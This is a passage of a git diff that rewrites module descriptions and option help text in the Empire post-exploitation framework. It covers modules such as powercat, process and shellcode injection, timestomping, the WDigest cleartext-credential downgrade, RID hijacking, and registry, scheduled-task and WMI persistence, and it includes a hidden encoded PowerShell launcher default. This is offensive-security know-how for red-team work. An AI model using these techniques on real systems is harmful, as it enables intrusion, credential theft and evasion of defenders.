anti-forensics technique + that prevents security events from being recorded, making post-incident analysis + more difficult. By killing the service threads rather than stopping the service, + the module maintains the appearance of normal system operation while preventing + new events from being logged. software: '' tactics: [TA0005] techniques: [T1562.006] diff --git a/empire/server/modules/powershell/management/powercat.yaml b/empire/server/modules/powershell/management/powercat.yaml index 72263389f..ebf6bf320 100644 --- a/empire/server/modules/powershell/management/powercat.yaml +++ b/empire/server/modules/powershell/management/powercat.yaml @@ -3,9 +3,16 @@ authors: - name: besimorhino handle: '' link: '' -description: powercat is a powershell function. First you need to load the function - before you can execute it.You can put one of the below commands into your powershell - profile so powercat is automaticallyloaded when powershell starts.. +description: | + PowerCat is a PowerShell implementation of netcat functionality that + provides network connectivity, file transfer, and command execution capabilities. + This module loads the PowerCat function and enables various network operations + including listening, connecting, relaying, and data exfiltration. + + PowerCat supports multiple protocols including TCP, UDP, and DNS tunneling, making it + versatile for different network environments and restrictions. The tool can function + as a listener, client, relay, or data transfer utility, providing operators with + flexible network communication options. software: '' tactics: [TA0003] techniques: [T1546.013] @@ -23,7 +30,7 @@ options: required: true value: '' - name: l - description: Listen for a connection + description: Listen for a connection. required: false value: 'False' strict: true @@ -31,7 +38,7 @@ options: - True - False - name: c - description: Connect to a listener + description: Connect to a listener. required: false value: '' - name: p @@ -39,11 +46,11 @@ options: required: false value: '' - name: e - description: 'Execute. (GAPING_SECURITY_HOLE)' + description: Execute command on remote system (GAPING_SECURITY_HOLE). required: false value: '' - name: ep - description: Switch. Execute Powershell. + description: Execute PowerShell on remote system. required: false value: 'False' strict: true @@ -51,7 +58,7 @@ options: - True - False - name: r - description: 'Relay. Format: -r tcp:10.1.1.1:443' + description: 'Relay connection format: -r tcp:10.1.1.1:443.' required: false value: 'False' strict: true @@ -59,7 +66,7 @@ options: - True - False - name: u - description: Transfer data over UDP. + description: Transfer data over UDP instead of TCP. required: false value: 'False' strict: true @@ -67,23 +74,23 @@ options: - True - False - name: dns - description: Transfer data over dns (dnscat2). + description: Transfer data over DNS (dnscat2 protocol). required: false value: '' - name: dnsft - description: 'DNS Failure Threshold. ' + description: DNS Failure Threshold for retry attempts. required: false value: '' - name: t - description: 'Timeout option. Default: 60 ' + description: 'Timeout option in seconds (default: 60).' required: false value: '' - name: i - description: 'Input: Filepath (string), byte array, or string.' + description: 'Filepath (string), byte array, or string.' required: false value: '' - name: o - description: Console Output Type + description: Console Output Type. required: false value: 'Host' strict: true @@ -92,7 +99,7 @@ options: - Bytes - Strings - name: of - description: Output File Path + description: Output File Path for saving data. required: false value: '' - name: d @@ -104,7 +111,7 @@ options: - True - False - name: rep - description: Repeater. Restart after disconnecting. + description: Repeater mode - restart after disconnecting. required: false value: 'False' strict: true @@ -112,7 +119,7 @@ options: - True - False - name: g - description: Generate Payload + description: Generate Payload for remote execution. required: false value: 'False' strict: true @@ -120,7 +127,7 @@ options: - True - False - name: ge - description: Generate Encoded Payload + description: Generate Encoded Payload for obfuscation. required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/management/psinject.yaml b/empire/server/modules/powershell/management/psinject.yaml index 6993e3d3b..270b317dc 100644 --- a/empire/server/modules/powershell/management/psinject.yaml +++ b/empire/server/modules/powershell/management/psinject.yaml @@ -9,9 +9,16 @@ authors: - name: leechristensen (@tifkin_) handle: '' link: '' -description: Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick - which executes PS codefrom memory in a remote process. ProcID or ProcName must - be specified. +description: | + Injects and executes PowerShell commands or scripts into the memory + space of another process on the target system. This technique allows Empire to + run PowerShell code while masking the execution under a legitimate process, bypassing + process-based monitoring and potentially evading detection by security products. + + The module uses reflective injection techniques to create a new PowerShell runtime + environment within the target process, then executes the specified script or + commands within that isolated environment. This approach avoids spawning powershell.exe, + which is often monitored by security solutions. software: '' tactics: [TA0002] techniques: [T1055.001] diff --git a/empire/server/modules/powershell/management/reflective_inject.yaml b/empire/server/modules/powershell/management/reflective_inject.yaml index 4a8b8a4b3..94de08d78 100644 --- a/empire/server/modules/powershell/management/reflective_inject.yaml +++ b/empire/server/modules/powershell/management/reflective_inject.yaml @@ -1,4 +1,4 @@ -name: Invoke-PSInject +name: Invoke-ReflectivePEInjection authors: - name: Will Schroeder handle: '@harmj0y' @@ -12,8 +12,22 @@ authors: - name: james fitts handle: '' link: '' -description: Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick - which executes PS code from memory in a remote process +description: | + Executes arbitrary DLLs in memory using reflective injection techniques + without touching the disk or using the standard Windows loader. This module allows + operators to load and execute compiled tools directly into process memory, bypassing + file-based detection mechanisms. + + Reflective injection works by implementing + a custom PE loader that handles memory allocation, imports resolution, and relocation + fixing, enabling a DLL to load itself into memory from a raw byte array rather + than from disk. This allows sophisticated post-exploitation tools to run without + creating filesystem artifacts. + + The module supports injecting into the current + process or a remote process, allowing operators to hide malicious activity under + legitimate processes. It can execute both custom and standard DLLs with export + functions. software: '' tactics: [TA0004, TA0005] techniques: [T1055.001] diff --git a/empire/server/modules/powershell/management/restart.yaml b/empire/server/modules/powershell/management/restart.yaml index 014d8cd7f..42171cedf 100644 --- a/empire/server/modules/powershell/management/restart.yaml +++ b/empire/server/modules/powershell/management/restart.yaml @@ -3,7 +3,15 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Restarts the specified machine. +description: | + Forces a system restart of the target machine using the native PowerShell + Restart-Computer cmdlet. This module provides immediate system reboot capability + for operational requirements, system maintenance, or to clear volatile memory. + + System restarts are often necessary during post-exploitation activities to clear memory + artifacts, reload system configurations, or ensure persistence mechanisms are + properly activated. The forced restart bypasses user prompts and application + blocking, ensuring the reboot occurs immediately. software: '' tactics: [TA0040] techniques: [T1529] diff --git a/empire/server/modules/powershell/management/runas.yaml b/empire/server/modules/powershell/management/runas.yaml index cb4a107dd..23cf3f8b7 100644 --- a/empire/server/modules/powershell/management/runas.yaml +++ b/empire/server/modules/powershell/management/runas.yaml @@ -3,7 +3,23 @@ authors: - name: rvrsh3ll (@424f424f) handle: '' link: '' -description: Runas knockoff. Will bypass GPO path restrictions. +description: | + Executes commands or programs with alternate user credentials on the + target system using the Windows RunAs functionality. This module allows operators + to run processes under different user contexts without requiring a full login + session, useful for accessing resources restricted to specific users. + + Unlike + traditional privilege escalation, RunAs requires knowledge of valid credentials + but can provide access to network resources, applications, or data that may be + inaccessible to the current user context. The module supports executing both + simple commands and full applications with command-line arguments. + + The module + creates visible process creation events that include the alternate user context, + potentially alerting security monitoring systems to credential usage patterns. + The spawned process also operates with standard Windows authentication tokens + rather than trying to hide its identity. software: '' tactics: [TA0004, TA0005] techniques: [T1134.002] diff --git a/empire/server/modules/powershell/management/shinject.yaml b/empire/server/modules/powershell/management/shinject.yaml index eb06fe672..0efda245e 100644 --- a/empire/server/modules/powershell/management/shinject.yaml +++ b/empire/server/modules/powershell/management/shinject.yaml @@ -9,7 +9,22 @@ authors: - name: '' handle: '@monogas' link: '' -description: Injects a PIC shellcode payload into a target process, via Invoke-Shellcode +description: | + Injects Position Independent Code (PIC) shellcode payload into a target + process using the Invoke-Shellcode technique. This module allows operators to + execute arbitrary shellcode within the context of an existing process, bypassing + traditional process creation monitoring. + + Shellcode injection is a sophisticated + technique that loads and executes machine code directly in memory without creating + files on disk. This approach helps evade file-based detection mechanisms and + allows operators to run custom payloads within trusted processes. + + The module + supports injection into both 32-bit and 64-bit processes, with automatic architecture + detection. This capability is essential for executing custom tools, establishing + persistence mechanisms, or running specialized payloads that require direct memory + execution. software: S0194 tactics: [TA0005] techniques: [T1620] diff --git a/empire/server/modules/powershell/management/sid_to_user.yaml b/empire/server/modules/powershell/management/sid_to_user.yaml index 2785ea790..b572a9863 100644 --- a/empire/server/modules/powershell/management/sid_to_user.yaml +++ b/empire/server/modules/powershell/management/sid_to_user.yaml @@ -3,7 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Converts a specified domain sid to a user. +description: | + Converts a specified Security Identifier (SID) to its corresponding + user account name. This module performs reverse identity resolution by translating + Windows security identifiers back into human-readable usernames. + + SIDs are + unique identifiers assigned to security principals in Windows systems, including + users, groups, and computers. This reverse lookup capability is essential for + understanding security events, access control entries, and user permissions when + only SIDs are available in logs or system output. + + The module supports both local + and domain SIDs, enabling operators to identify user accounts from various sources + including security logs, registry entries, file permissions, and Active Directory + objects. software: '' tactics: [TA0007] techniques: [T1098, T1087.002] @@ -20,7 +34,7 @@ options: required: true value: '' - name: SID - description: Domain SID to translate. + description: Security Identifier (SID) to translate to username. required: true value: '' script: | diff --git a/empire/server/modules/powershell/management/spawn.yaml b/empire/server/modules/powershell/management/spawn.yaml index 30b967d68..0598af91f 100644 --- a/empire/server/modules/powershell/management/spawn.yaml +++ b/empire/server/modules/powershell/management/spawn.yaml @@ -3,7 +3,19 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Spawns a new agent in a new powershell.exe process. +description: | + Spawns a new Empire agent in a fresh PowerShell process, creating a + separate communication channel and execution environment. This module allows + operators to create additional persistence points and maintain multiple concurrent + connections to the target system. + + The spawned agent runs in a new powershell.exe + process, providing isolation from the parent agent and reducing the risk of detection + through process monitoring. This technique is useful for maintaining access when + the original agent may be compromised or when additional stealth is required. + + The module supports various stager languages (PowerShell, C#, IronPython) and includes + options for obfuscation and bypass techniques to evade detection. software: '' tactics: [TA0002] techniques: [T1059.001] @@ -16,11 +28,11 @@ min_language_version: '2' comments: [] options: - name: Listener - description: Listener to use. + description: Listener to use for the new agent communication channel. required: true value: '' - name: Language - description: Language of the stager to generate. + description: Language of the stager to generate for the new agent. required: true value: powershell strict: true @@ -29,7 +41,7 @@ options: - csharp - ironpython - name: Obfuscate - description: Obfuscate the launcher code. + description: Obfuscate the launcher code to evade signature-based detection. required: false value: 'False' strict: true @@ -51,7 +63,7 @@ options: required: false value: mattifestation etw - name: SysWow64 - description: Spawn a SysWow64 (32-bit) powershell.exe. + description: Spawn a SysWow64 (32-bit) powershell.exe instead of 64-bit. required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/management/spawnas.yaml b/empire/server/modules/powershell/management/spawnas.yaml index c663a0573..579226682 100644 --- a/empire/server/modules/powershell/management/spawnas.yaml +++ b/empire/server/modules/powershell/management/spawnas.yaml @@ -6,7 +6,22 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Spawn an agent with the specified logon credentials. +description: | + Creates a new Empire agent running under the context of different user + credentials using Windows credential delegation. This module allows operators + to establish additional agents with different permission sets without requiring + direct access to the target user's session. + + Unlike simple RunAs execution, + this technique spawns a persistent agent that maintains the alternate user's + context for all subsequent commands. This is particularly useful for maintaining + access to resources that require specific user privileges or for pivoting through + environments with complex permission structures. + + The module leverages Windows + authentication mechanisms to create a new process with delegated credentials, + then injects and executes the Empire stager code within that process. This results + in a new agent check-in to the Empire server under the specified user context. software: '' tactics: [TA0004, TA0005] techniques: [T1134.002] diff --git a/empire/server/modules/powershell/management/start-processasuser.yaml b/empire/server/modules/powershell/management/start-processasuser.yaml index fb7e04e9d..8495796b9 100644 --- a/empire/server/modules/powershell/management/start-processasuser.yaml +++ b/empire/server/modules/powershell/management/start-processasuser.yaml @@ -6,7 +6,23 @@ authors: - name: Lee Christensen handle: '@tifkin_' link: https://twitter.com/tifkin_ -description: Executes a command using a specified set of credentials. +description: | + Executes a command or launches a process under the context of specified + user credentials without requiring an interactive logon. This module leverages + Windows API functionality to start a process as another user, optionally using + the LOGON_NETCREDENTIALS_ONLY flag to provide network-only credentials (similar + to "runas.exe /netonly"). + + This technique is useful for accessing network resources, + running commands with alternate permissions, or performing actions as a different + user without fully logging into their session. It is commonly used for lateral + movement, privilege separation, and operational flexibility in post-exploitation + scenarios. + + The module supports specifying domain, username, and password, and + can execute any command or application with the provided credentials. The NetOnly + option allows the process to use the supplied credentials for network authentication + while retaining the local user's context. software: '' tactics: [TA0004, TA0005] techniques: [T1078.002, T1078.003] @@ -20,24 +36,25 @@ comments: - https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Start-ProcessAsUser.ps1 options: - name: Domain - description: Specifies the domain. + description: Domain of the user account to use for the new process (leave blank + for local accounts). required: false value: '' - name: Username - description: Specifies the username. + description: Username to use for the new process. required: false value: '' - name: Password - description: Specifies the password. + description: Password for the specified user account. required: false value: '' - name: Cmd - description: Specifies the command to execute. + description: Command or application to execute under the specified credentials. required: false value: '' - name: NetOnly description: Start the process using the LOGON_NETCREDENTIALS_ONLY flag (equivalent - of running "runas.exe /netonly") + to running "runas.exe /netonly"). required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/management/timestomp.yaml b/empire/server/modules/powershell/management/timestomp.yaml index 91d987cbb..0ea80557a 100644 --- a/empire/server/modules/powershell/management/timestomp.yaml +++ b/empire/server/modules/powershell/management/timestomp.yaml @@ -3,7 +3,21 @@ authors: - name: '' handle: '@obscuresec' link: '' -description: Executes time-stomp like functionality by invoking Set-MacAttribute. +description: | + Executes time-stomp functionality by modifying file timestamps (MAC + attributes) to manipulate forensic artifacts and evade timeline analysis. This + module allows operators to alter the Modified, Accessed, and Created timestamps + of files to blend malicious activities with legitimate system operations. + + Time-stomping + is a critical anti-forensics technique that helps operators avoid detection during + post-incident analysis. By setting file timestamps to match legitimate system + files or historical dates, malicious files can appear to be part of normal system + operations or pre-date the security incident. + + The module can clone timestamps + from existing files or set custom timestamps, providing flexibility for different + operational scenarios and forensic evasion requirements. software: '' tactics: [TA0005] techniques: [T1070.006] @@ -21,27 +35,31 @@ options: required: true value: '' - name: FilePath - description: File path to modify. + description: Path to the file whose timestamps will be modified. required: true value: '' - name: OldFile - description: Old file path to clone MAC from. + description: Path to an existing file to clone MAC timestamps from. required: false value: '' - name: Modified - description: Set modified time (01/03/2006 12:12 pm). + description: 'Set modified time to specific date/time (format: 01/03/2006 12:12 + pm).' required: false value: '' - name: Accessed - description: Set accessed time (01/03/2006 12:12 pm). + description: 'Set accessed time to specific date/time (format: 01/03/2006 12:12 + pm).' required: false value: '' - name: Created - description: Set created time (01/03/2006 12:12 pm). + description: 'Set created time to specific date/time (format: 01/03/2006 12:12 + pm).' required: false value: '' - name: All - description: Set all MAC attributes to value (01/03/2006 12:12 pm). + description: 'Set all MAC attributes to the same value (format: 01/03/2006 12:12 + pm).' required: false value: '' - name: OutputFunction diff --git a/empire/server/modules/powershell/management/user_to_sid.yaml b/empire/server/modules/powershell/management/user_to_sid.yaml index 2993f1447..71829867b 100644 --- a/empire/server/modules/powershell/management/user_to_sid.yaml +++ b/empire/server/modules/powershell/management/user_to_sid.yaml @@ -3,7 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Converts a specified domain\user to a domain sid. +description: | + Converts a specified domain\\username to its corresponding Security + Identifier (SID). This module performs user account enumeration and identity + resolution by translating human-readable usernames into their unique Windows + security identifiers. + + SIDs are fundamental to Windows security architecture + and are used throughout the operating system for access control, group membership, + and security auditing. This conversion is essential for understanding user permissions, + group memberships, and security relationships within Active Directory environments. + + The module supports both local and domain user accounts, providing operators with + the ability to map user identities to their underlying security principals for + reconnaissance and privilege escalation activities. software: '' tactics: [TA0007] techniques: [T1098, T1087.002] @@ -20,11 +33,11 @@ options: required: true value: '' - name: Domain - description: Domain name for translation. + description: Domain name for the user account translation. required: true value: '' - name: User - description: Username for translation. + description: Username to convert to SID. required: true value: '' advanced: diff --git a/empire/server/modules/powershell/management/vnc.yaml b/empire/server/modules/powershell/management/vnc.yaml index e01dfa9b2..1754eb269 100644 --- a/empire/server/modules/powershell/management/vnc.yaml +++ b/empire/server/modules/powershell/management/vnc.yaml @@ -3,8 +3,20 @@ authors: - name: '' handle: '@n00py' link: https://twitter.com/n00py1 -description: Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, - or binds to a specified port. Password authentication is supported. +description: | + Executes a VNC (Virtual Network Computing) agent in-memory to establish + remote desktop access to the target system. This module provides graphical user + interface access without requiring traditional VNC server installation or file + system artifacts. + + The VNC agent can operate in two modes: bind mode (listening + on a local port) or reverse mode (connecting back to a specified IP address). + This flexibility allows operators to work around network restrictions and firewall + configurations. + + Password authentication is supported to secure the VNC connection, + and the in-memory execution helps evade detection by traditional endpoint protection + solutions that monitor for VNC server installations. software: '' tactics: [TA0008] techniques: [T1021.005] @@ -22,15 +34,15 @@ options: required: true value: '' - name: Port - description: Port to Use. + description: 'Port number for the VNC connection (default: 5900).' required: true value: '5900' - name: Password - description: Password to use. + description: Password for VNC authentication. required: true value: password - name: ConType - description: Connection type. + description: Connection type - bind (listen) or reverse (connect back). required: true value: 'bind' strict: true @@ -38,7 +50,7 @@ options: - bind - reverse - name: IpAddress - description: IP Address to use for reverse connection. + description: IP address for reverse connection mode. required: false value: '' script_path: management/Invoke-Vnc.ps1 diff --git a/empire/server/modules/powershell/management/wdigest_downgrade.yaml b/empire/server/modules/powershell/management/wdigest_downgrade.yaml index ddf05bb6e..72558e0b2 100644 --- a/empire/server/modules/powershell/management/wdigest_downgrade.yaml +++ b/empire/server/modules/powershell/management/wdigest_downgrade.yaml @@ -3,8 +3,22 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Sets wdigest on the machine to explicitly use logon credentials. Counters - kb2871997. +description: | + Modifies the Windows registry to force the WDigest authentication protocol + to store credentials in memory in cleartext. This technique targets a security + improvement introduced in Windows 8.1/2012 R2 that prevented WDigest from storing + plaintext passwords in memory by default. + + By setting the "UseLogonCredential" + registry value to 1, the module forces Windows to cache plaintext credentials + in LSASS memory during future logons, making them accessible to credential harvesting + tools like Mimikatz. This effectively downgrades the system's authentication + security to pre-Windows 8.1 behavior. + + This modification does not immediately + capture credentials but prepares the system for future credential theft when + users log in. It's particularly useful as a persistence technique when combined + with other modules that can later extract these credentials from memory. software: '' tactics: [TA0005] techniques: [T1112, T1562.010] diff --git a/empire/server/modules/powershell/management/zipfolder.yaml b/empire/server/modules/powershell/management/zipfolder.yaml index 98bca7717..6cec1acc3 100644 --- a/empire/server/modules/powershell/management/zipfolder.yaml +++ b/empire/server/modules/powershell/management/zipfolder.yaml @@ -3,7 +3,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Zips up a target folder for later exfiltration. +description: | + Compresses a target folder into a ZIP archive for efficient data exfiltration + and storage. This module creates compressed archives of directories to reduce + transfer size and organize collected data for later analysis. + + The compression + process uses native Windows COM objects to create ZIP files without requiring + external compression utilities. This approach ensures compatibility across different + Windows environments and reduces the footprint of data collection activities. + + ZIP archives are commonly used in data exfiltration scenarios to package multiple + files and directories into a single transferable file, making it easier to move + large amounts of data while maintaining directory structure and reducing network + bandwidth requirements. software: '' tactics: [TA0009] techniques: [T1560.002] @@ -20,11 +33,11 @@ options: required: true value: '' - name: Folder - description: Folder path to zip. + description: Path to the folder that will be compressed. required: true value: '' - name: ZipFileName - description: Zip name/path to create. + description: Name and path for the output ZIP file. required: true value: '' script: | diff --git a/empire/server/modules/powershell/persistence/elevated/registry.yaml b/empire/server/modules/powershell/persistence/elevated/registry.yaml index baa6cfa8b..e39f7dcb7 100644 --- a/empire/server/modules/powershell/persistence/elevated/registry.yaml +++ b/empire/server/modules/powershell/persistence/elevated/registry.yaml @@ -6,8 +6,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Persist a stager (or script) via the HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run - registry key. This has an easy detection/removal rating. +description: | + Establishes persistence by creating a registry entry in HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run + that executes a stager or script during system startup. This module creates a + permanent persistence mechanism that survives reboots and user logon/logoff cycles. + + Registry-based + persistence is one of the most common and well-known persistence techniques, making + it relatively easy to detect and remove. However, it provides reliable execution + and is often overlooked in basic security assessments. The module can store the + payload in the registry itself or reference an external file, providing flexibility + for different operational requirements. + + This technique requires administrative + privileges and creates visible registry artifacts that can be \ndetected by security + monitoring tools. software: '' tactics: [TA0003] techniques: [T1547.001] @@ -21,12 +34,12 @@ comments: - https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1 options: - name: Listener - description: Listener to use. + description: Listener to use for the stager. required: false value: '' - name: Obfuscate - description: Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. + description: Obfuscate the launcher PowerShell code to evade signature-based + detection. required: false value: 'False' strict: true @@ -35,7 +48,7 @@ options: - False - name: ObfuscateCommand description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. + is True. required: false value: Token\All\1 depends_on: @@ -46,24 +59,26 @@ options: required: false value: mattifestation etw - name: KeyName - description: Key name for the run trigger. + description: Name for the registry key that will trigger execution. required: true value: Updater - name: RegPath - description: Registry location to store the script code. Last element is the - key name. + description: Registry location to store the script code (last element is the + key name). required: false value: HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug - name: ADSPath - description: Alternate-data-stream location to store the script code. + description: Alternate-data-stream location to store the script code (leave blank + to use registry). required: false value: '' - name: ExtFile - description: Use an external file for the payload instead of a stager. + description: Path to external file containing the payload (leave blank to use + stager). required: false value: '' - name: Cleanup - description: Cleanup the trigger and any script from specified location. + description: Remove the persistence mechanism and clean up artifacts. required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml b/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml index e6bd09dab..55c306e72 100644 --- a/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml +++ b/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml @@ -1,11 +1,24 @@ name: Invoke-RIDHijacking authors: - - name: Sebastian Castro @r4wd3r - handle: '' + - name: Sebastian Castro + handle: '@r4wd3r' link: '' -description: Runs Invoke-RIDHijacking. Allows setting desired privileges to an existent - account by modifying the Relative Identifier value copy used to create the access - token. This module needs administrative privileges. +description: | + Modifies the Relative Identifier (RID) of an existing user account + to grant it administrative privileges by changing the RID value used to create + access tokens. This technique allows operators to elevate a regular user account + to have the same privileges as the built-in Administrator account (RID 500) without + modifying group memberships. + + RID hijacking is a sophisticated privilege escalation + technique that works by directly modifying the SAM database to change how Windows + interprets user privileges. This approach bypasses traditional group-based access + control and can be used to create hidden administrative accounts that appear + as regular users to most security tools. + + This technique requires administrative + privileges to implement and creates persistent privilege escalation that survives + reboots and password changes. software: '' tactics: [TA0004] techniques: [T1098] @@ -21,23 +34,24 @@ comments: - https://csl.com.co/rid-hijacking/ options: - name: RID - description: RID to set to the specified account. Default 500. + description: 'RID value to assign to the target account (default: 500 for Administrator + privileges).' required: false value: '500' - name: User - description: User to set the defined RID. + description: Username of the account to modify (leave blank if using UseGuest). required: false value: '' - name: UseGuest - description: Switch. Set the defined RID to the Guest account. + description: Set the specified RID to the Guest account (set to True to enable). required: false value: '' - name: Password - description: Password to set to the defined account. + description: New password to set for the target account. required: false value: '' - name: Enable - description: Enable the defined account. + description: Enable the target account after modification (set to True to enable). required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.yaml b/empire/server/modules/powershell/persistence/elevated/schtasks.yaml index b60aca805..a14c2f4f5 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.yaml +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.yaml @@ -6,8 +6,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Persist a stager (or script) using schtasks running as SYSTEM. This - has a moderate detection/removal rating. +description: | + Establishes persistence by creating a scheduled task that runs with + SYSTEM privileges to execute a stager or script. This module leverages the Windows + Task Scheduler to create a reliable persistence mechanism that can trigger on + various events including daily execution, user logon, or idle time. + + Scheduled task persistence provides moderate stealth as it uses legitimate Windows functionality + and can be configured with various triggers to blend with normal system activity. + The module can store the payload in the registry or reference an external file, + and supports multiple scheduling options for operational flexibility. + + This + technique requires administrative privileges and creates visible scheduled task + artifacts that can be detected by security monitoring tools. software: S0111 tactics: [TA0003, TA0004] techniques: [T1053.005] @@ -21,12 +33,12 @@ comments: - https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1 options: - name: Listener - description: Listener to use. + description: Listener to use for the stager. required: false value: '' - name: Obfuscate - description: Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. + description: Obfuscate the launcher PowerShell code to evade signature-based + detection. required: false value: 'False' strict: true @@ -35,7 +47,7 @@ options: - False - name: ObfuscateCommand description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. + is True. required: false value: Token\All\1 depends_on: @@ -46,15 +58,15 @@ options: required: false value: mattifestation etw - name: DailyTime - description: Daily time to trigger the script (HH:mm). + description: 'Daily time to trigger the script (format: HH:mm).' required: false value: 09:00 - name: IdleTime - description: User idle time (in minutes) to trigger script. + description: User idle time in minutes to trigger script (leave blank to disable). required: false value: '' - name: OnLogon - description: Trigger script on user logon. + description: Trigger script on user logon (set to True to enable). required: false value: 'False' strict: true @@ -62,24 +74,26 @@ options: - True - False - name: TaskName - description: Name to use for the schtask. + description: Name for the scheduled task. required: true value: Updater - name: RegPath - description: Registry location to store the script code. Last element is the - key name. + description: Registry location to store the script code (last element is the + key name). required: false value: HKLM:\Software\Microsoft\Network\debug - name: ADSPath - description: Alternate-data-stream location to store the script code. + description: Alternate-data-stream location to store the script code (leave blank + to use registry). required: false value: '' - name: ExtFile - description: Use an external file for the payload instead of a stager. + description: Path to external file containing the payload (leave blank to use + stager). required: false value: '' - name: Cleanup - description: Cleanup the trigger and any script from specified location. + description: Remove the persistence mechanism and clean up artifacts. required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.yaml b/empire/server/modules/powershell/persistence/elevated/wmi.yaml index 0a26a3f11..d4b9454b0 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.yaml +++ b/empire/server/modules/powershell/persistence/elevated/wmi.yaml @@ -12,8 +12,21 @@ authors: - name: '' handle: '@janit0rjoe' link: '' -description: Persist a stager (or script) using a permanent WMI subscription. This - has a difficult detection/removal rating. +description: | + Establishes persistence using a permanent WMI event subscription that + executes a stager or script when specific system events occur. This module creates + a sophisticated persistence mechanism that leverages Windows Management Instrumentation + to trigger execution based on various system events such as process creation, + logon events, or scheduled times. + + WMI-based persistence uses legitimate Windows + management infrastructure and can be configured to trigger on common system events, + making detection more difficult. The module supports multiple trigger types including + daily execution, specific days of the week/month, and failed logon attempts, + providing operational flexibility while maintaining stealth. + + This technique requires administrative privileges and creates WMI artifacts that can be detected + by advanced security monitoring tools. software: '' tactics: [TA0003] techniques: [T1546.003] @@ -27,12 +40,12 @@ comments: - https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1 options: - name: Listener - description: Listener to use. + description: Listener to use for the stager. required: true value: '' - name: Obfuscate - description: Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. + description: Obfuscate the launcher PowerShell code to evade signature-based + detection. required: false value: 'False' strict: true @@ -41,7 +54,7 @@ options: - False - name: ObfuscateCommand description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. + is True. required: false value: Token\All\1 depends_on: @@ -52,20 +65,21 @@ options: required: false value: mattifestation etw - name: DailyTime - description: Daily time to trigger the script (HH:mm). + description: 'Daily time to trigger the script (format: HH:mm).' required: false value: '' - name: Day - description: Day of month to trigger the script (1-31). Optional to DailyTime. + description: Day of month to trigger the script (1-31, optional with DailyTime). required: false value: '' - name: DayOfWeek - description: Day of week to trigger the script (0-6). Sunday = 0. Optional to - DailyTime. + description: Day of week to trigger the script (0-6, Sunday = 0, optional with + DailyTime). required: false value: '' - name: FailedLogon - description: Trigger script with a failed logon attempt from a specified user + description: Trigger script on failed logon attempts from a specified user (set + to True to enable). required: false value: 'False' strict: true @@ -73,15 +87,16 @@ options: - True - False - name: SubName - description: Name to use for the event subscription. + description: Name for the WMI event subscription. required: true value: Updater - name: ExtFile - description: Use an external file for the payload instead of a stager. + description: Path to external file containing the payload (leave blank to use + stager). required: false value: '' - name: Cleanup - description: Cleanup the trigger and any script from specified location. + description: Remove the persistence mechanism and clean up artifacts. required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml b/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml index 4cbe9143f..910cf95cb 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml +++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml @@ -1,4 +1,4 @@ -name: Invoke-WMI +name: Invoke-WMIUpdater authors: - name: Matt Graeber handle: '@mattifestation' @@ -12,8 +12,22 @@ authors: - name: '' handle: '@janit0rjoe' link: '' -description: Persist a stager (or script) using a permanent WMI subscription. This - has a difficult detection/removal rating. +description: | + Establishes persistence using a permanent WMI event subscription that + executes a launcher script when specific system events occur. This module creates + a sophisticated persistence mechanism that leverages Windows Management Instrumentation + to trigger execution based on various system events such as process creation, + logon events, or scheduled times. + + WMI-based persistence uses legitimate Windows + management infrastructure and can be configured to trigger on common system events, + making detection more difficult. The module supports multiple trigger types including + daily execution, specific days of the week/month, and can fetch payloads from + remote locations for additional stealth. + + This technique requires administrative + privileges and creates WMI artifacts that can be detected by advanced security + monitoring tools. software: '' tactics: [TA0003] techniques: [T1546.003] @@ -31,32 +45,33 @@ options: required: true value: '' - name: Launcher - description: Launcher string. + description: Launcher command string to execute. required: true value: 'powershell -noP -sta -w 1 -enc ' - name: DailyTime - description: Daily time to trigger the script (HH:mm). + description: 'Daily time to trigger the script (format: HH:mm).' required: false value: '' - name: Day - description: Day of month to trigger the script (1-31). 